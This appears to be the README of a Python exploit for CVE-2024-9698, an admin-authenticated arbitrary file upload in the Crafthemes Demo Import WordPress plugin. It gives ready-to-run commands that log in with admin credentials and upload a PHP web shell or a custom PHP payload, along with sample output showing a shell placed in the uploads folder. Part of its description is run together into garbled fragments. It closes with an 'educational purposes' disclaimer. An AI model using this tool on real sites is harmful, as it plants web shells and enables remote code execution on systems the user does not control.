
Crafthemes Demo Import <= 3.3 - Authenticated ( Admin+) Arbitrary File Upload in process_uploaded_files
This exploit targets a critical vulnerability (CVE-2024-9698) in the Crafthemes Demo Import plugin for WordPress. The vulnerability allows authenticated administrators to upload arbitrary files to the affected WordPress site, leading to potential remote code execution (RCE).
process_uploaded_filesreadme.txt.admin-ajax.php to upload a custom PHP shell.python CVE-2024-9698.py --url "http://target.com/wordpress" --username "admin" --password "password"
If you want to upload a custom PHP payload, use:
python CVE-2024-9698.py --url "http://target.com/wordpress" --username "admin" --password "password" --payload "<?php phpinfo(); ?>"
[+] Target is vulnerable, proceeding with exploit...
[+] Logged in successfully.
[+] Extracted nonce: abc123xyz
[+] Shell uploaded successfully: http://target.com/wp-content/uploads/2025/02/Nxploit.php
Disclaimer: This script is intended for educational and security research purposes only. Unauthorized use against systems without explicit permission is illegal.